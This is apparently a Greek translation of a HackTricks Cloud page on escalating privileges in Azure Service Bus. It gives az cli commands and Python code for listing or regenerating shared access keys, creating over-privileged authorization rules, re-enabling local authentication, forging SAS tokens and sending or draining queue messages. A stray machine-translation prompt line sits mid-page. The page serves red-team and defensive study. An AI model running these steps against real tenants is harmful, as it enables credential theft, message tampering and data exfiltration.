Az - Service Bus Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Service Bus
Για περισσότερες πληροφορίες ελέγξτε:
Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action Ή Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
Αυτές οι άδειες σας επιτρέπουν να αποκτήσετε ή να αναγεννήσετε τα κλειδιά για τους τοπικούς κανόνες εξουσιοδότησης εντός ενός namespace Service Bus. Χρησιμοποιώντας αυτά τα κλειδιά είναι δυνατή η αυθεντικοποίηση ως το namespace Service Bus, επιτρέποντάς σας να στείλετε μηνύματα σε οποιαδήποτε ουρά ή θέμα, να λάβετε μηνύματα από οποιαδήποτε ουρά ή συνδρομή, ή ενδεχομένως να αλληλεπιδράσετε με το σύστημα με τρόπους που θα μπορούσαν να διαταράξουν τις λειτουργίες, να προσποιηθείτε έγκυρους χρήστες ή να εισάγετε κακόβουλα δεδομένα στη ροή μηνυμάτων.
Σημειώστε ότι από προεπιλογή ο κανόνας RootManageSharedAccessKey έχει πλήρη έλεγχο πάνω στο namespace Service Bus και χρησιμοποιείται από το az cli, ωστόσο, μπορεί να υπάρχουν και άλλοι κανόνες με άλλες τιμές κλειδιών.
# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
Microsoft.ServiceBus/namespaces/AuthorizationRules/write
Με αυτή την άδεια είναι δυνατό να δημιουργηθεί ένας νέος κανόνας εξουσιοδότησης με όλες τις άδειες και τα δικά του κλειδιά με:
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
Warning
Αυτή η εντολή δεν απαντά με τα κλειδιά, οπότε πρέπει να τα αποκτήσετε με τις προηγούμενες εντολές (και άδειες) προκειμένου να κλιμακώσετε τα προνόμια.
Επιπλέον, με αυτή την εντολή (και Microsoft.ServiceBus/namespaces/authorizationRules/read) αν εκτελέσετε αυτή την ενέργεια μέσω του Azure CLI, είναι δυνατό να ενημερώσετε έναν υπάρχοντα κανόνα εξουσιοδότησης και να του δώσετε περισσότερες άδειες (σε περίπτωση που του έλειπαν κάποιες) με την παρακάτω εντολή:
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
Συγκεκριμένα θέματα και ουρές μέσα σε ένα namespace Service Bus μπορούν να έχουν τους δικούς τους κανόνες εξουσιοδότησης, οι οποίοι μπορούν να χρησιμοποιηθούν για τον έλεγχο πρόσβασης στην οντότητα. Με αυτές τις άδειες, μπορείτε να ανακτήσετε ή να αναγεννήσετε τα κλειδιά για αυτούς τους τοπικούς κανόνες εξουσιοδότησης, επιτρέποντάς σας να αυθεντικοποιηθείτε ως η οντότητα και ενδεχομένως να στείλετε ή να λάβετε μηνύματα, να διαχειριστείτε συνδρομές ή να αλληλεπιδράσετε με το σύστημα με τρόπους που θα μπορούσαν να διαταράξουν τις λειτουργίες, να προσποιηθούν έγκυρους χρήστες ή να εισάγουν κακόβουλα δεδομένα στη ροή μηνυμάτων.
# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
Με αυτή την άδεια είναι δυνατή η δημιουργία ενός νέου κανόνα εξουσιοδότησης με όλες τις άδειες και τα δικά του κλειδιά με:
# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
Warning
Αυτή η εντολή δεν απαντά με τα κλειδιά, οπότε πρέπει να τα αποκτήσετε με τις προηγούμενες εντολές (και άδειες) προκειμένου να κλιμακώσετε τα προνόμια.
Επιπλέον, με αυτή την εντολή (και Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read) αν εκτελέσετε αυτή την ενέργεια μέσω του Azure CLI, είναι δυνατό να ενημερώσετε έναν υπάρχοντα κανόνα εξουσιοδότησης και να του δώσετε περισσότερες άδειες (σε περίπτωση που του έλειπαν κάποιες) με την παρακάτω εντολή:
# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read αν χρησιμοποιείται το az cli)
Με αυτές τις άδειες ένας επιτιθέμενος μπορεί να επανενεργοποιήσει την “τοπική αυθεντικοποίηση” με την παρακάτω εντολή και επομένως όλα τα κλειδιά από τις κοινές πολιτικές θα λειτουργούν.
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
Send Messages with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)
Μπορείτε να ανακτήσετε το PrimaryConnectionString, το οποίο λειτουργεί ως διαπιστευτήριο για το Service Bus namespace. Με αυτή τη σύνδεση, μπορείτε να αυθεντικοποιηθείτε πλήρως ως το Service Bus namespace, επιτρέποντάς σας να στείλετε μηνύματα σε οποιαδήποτε ουρά ή θέμα και ενδεχομένως να αλληλεπιδράσετε με το σύστημα με τρόπους που θα μπορούσαν να διαταράξουν τις λειτουργίες, να προσποιηθούν έγκυρους χρήστες ή να εισάγουν κακόβουλα δεδομένα στη ροή μηνυμάτων. Αυτή η μέθοδος λειτουργεί αν το --disable-local-auth είναι ρυθμισμένο σε false (έτσι ώστε η τοπική αυθεντικοποίηση να είναι ενεργοποιημένη).
import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"
async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")
asyncio.run(send_message())
Επιπλέον, μπορείτε να στείλετε μηνύματα με az rest, σε αυτή την περίπτωση χρειάζεται να δημιουργήσετε ένα sas token για να το χρησιμοποιήσετε.
import time, urllib.parse, hmac, hashlib, base64
def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token
# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"
sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"
Receive with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)
Μπορείτε να ανακτήσετε το PrimaryConnectionString, το οποίο χρησιμεύει ως διαπιστευτήριο για το Service Bus namespace. Χρησιμοποιώντας αυτό το connection string, μπορείτε να λαμβάνετε μηνύματα από οποιαδήποτε ουρά ή συνδρομή εντός του namespace, επιτρέποντας την πρόσβαση σε δυνητικά ευαίσθητα ή κρίσιμα δεδομένα, διευκολύνοντας την εξαγωγή δεδομένων ή παρεμβαίνοντας στη διαδικασία επεξεργασίας μηνυμάτων και στις ροές εργασίας εφαρμογών. Αυτή η μέθοδος λειτουργεί αν το --disable-local-auth είναι ρυθμισμένο σε false.
import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus
CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"
# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"
async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)
# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
# msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
# for msg in msgs:
# print("Received:", msg)
# await receiver.complete_message(msg)
asyncio.run(receive())
print("Done receiving messages")
Επιπλέον, μπορείτε να στείλετε μηνύματα με az rest, σε αυτή την περίπτωση χρειάζεται να δημιουργήσετε ένα sas token για να το χρησιμοποιήσετε.
import time, urllib.parse, hmac, hashlib, base64
def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token
# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue" # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>" # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)
Για μια ουρά μπορείτε να αποκτήσετε ή να ρίξετε μια ματιά στο μήνυμα (η απόκτηση μηνυμάτων θα τα αφαιρέσει, ενώ η ρίψη ματιάς δεν θα το κάνει):
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
Please provide the text you would like me to translate to Greek.
#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"
Αποστολή Μηνυμάτων. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action
Μπορείτε να χρησιμοποιήσετε αυτές τις άδειες για να στείλετε μηνύματα, ακόμη και αν το --disable-local-auth είναι ρυθμισμένο σε true.
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus
NS = "<namespace>.servicebus.windows.net" # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>" # Your queue name
async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()
if __name__ == "__main__":
asyncio.run(run())
Λάβετε Μηνύματα. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action
Μπορείτε να χρησιμοποιήσετε αυτές τις άδειες για να λάβετε μηνύματα, ακόμη και αν το --disable-local-auth είναι ρυθμισμένο σε true.
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus
NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"
# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"
async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)
# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
# async for msg in receiver:
# print("Received from Topic Subscription:", msg)
# await receiver.complete_message(msg)
await credential.close()
asyncio.run(run())
print("Done receiving messages")
Αναφορές
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

